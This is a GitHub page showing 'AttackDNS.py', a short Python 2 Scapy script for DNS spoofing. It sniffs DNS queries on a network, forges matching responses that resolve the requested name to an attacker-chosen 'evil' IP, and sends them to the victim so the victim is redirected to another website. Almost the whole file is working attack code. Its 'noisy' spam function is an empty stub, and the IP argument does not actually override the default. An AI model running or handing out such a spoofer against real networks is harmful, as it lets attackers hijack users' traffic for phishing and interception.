-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAttackDNS.py
More file actions
65 lines (48 loc) · 1.8 KB
/
AttackDNS.py
File metadata and controls
65 lines (48 loc) · 1.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python
from scapy.all import *
import argparse
import thread
import sys
evil_ip = "9.9.9.9"
#sniff the traffic for at least a minute to try to capture DNS server
def sniff_dns(sniff_time):
#filter used to grab DNS packets
dns_filter = "dst port 53"
#checking time to run the filter
if sniff_time==None:
sniff_time =300
else:
sniff_time = int(sniff_time)
print "sniffing for DNS requests for " + str(sniff_time) + " seconds"
sniff(prn=attack, count=3, timeout=sniff_time, filter=dns_filter)
print "Limit Reached"
def attack(packet):
print "Caught one sending one..."
poison=IP(dst=packet[IP].src, src=packet[IP].dst)/UDP(sport=53, dport=packet[UDP].sport) \
/DNS(id=packet[DNS].id, qr=1, rd=1, ra=1, qdcount=1, ancount=1, qd=DNSQR(qname=packet[DNSQR].qname, qtype="A", qclass="IN"), \
an=DNSRR(rrname=packet[DNSQR].qname, type="A", rclass="IN",ttl=3599, rdata=evil_ip ))
send(poison, inter=0, loop=0, verbose=0)
#spam client with DNS replies
def spam_replies(target, realDNS, spam_time):
print "About to spam " + target + " with IP: " + evil_ip
def main():
parser = argparse.ArgumentParser(description='Some fun stuff with DNS')
parser.add_argument("-e", "--evil", help="ip of website to redirect user")
parser.add_argument("-d", "--DNS", help="DNS Server of target, if known")
parser.add_argument("-n", "--noisy", help="Spam the target with responses")
parser.add_argument("-s", "--secs", help="the amount of spent sniffing")
parser.add_argument("-t", "--target", help="the target IP")
args = parser.parse_args()
#Checking
if args.evil == None:
print "You must enter an evil IP"
sys.exit()
else:
evil_ip = args.evil
if args.noisy != None:
spam_replies(args.target, args.DNS, args.secs)
else:
sniff_dns(args.secs)
print "Finished"
if __name__=="__main__":
main()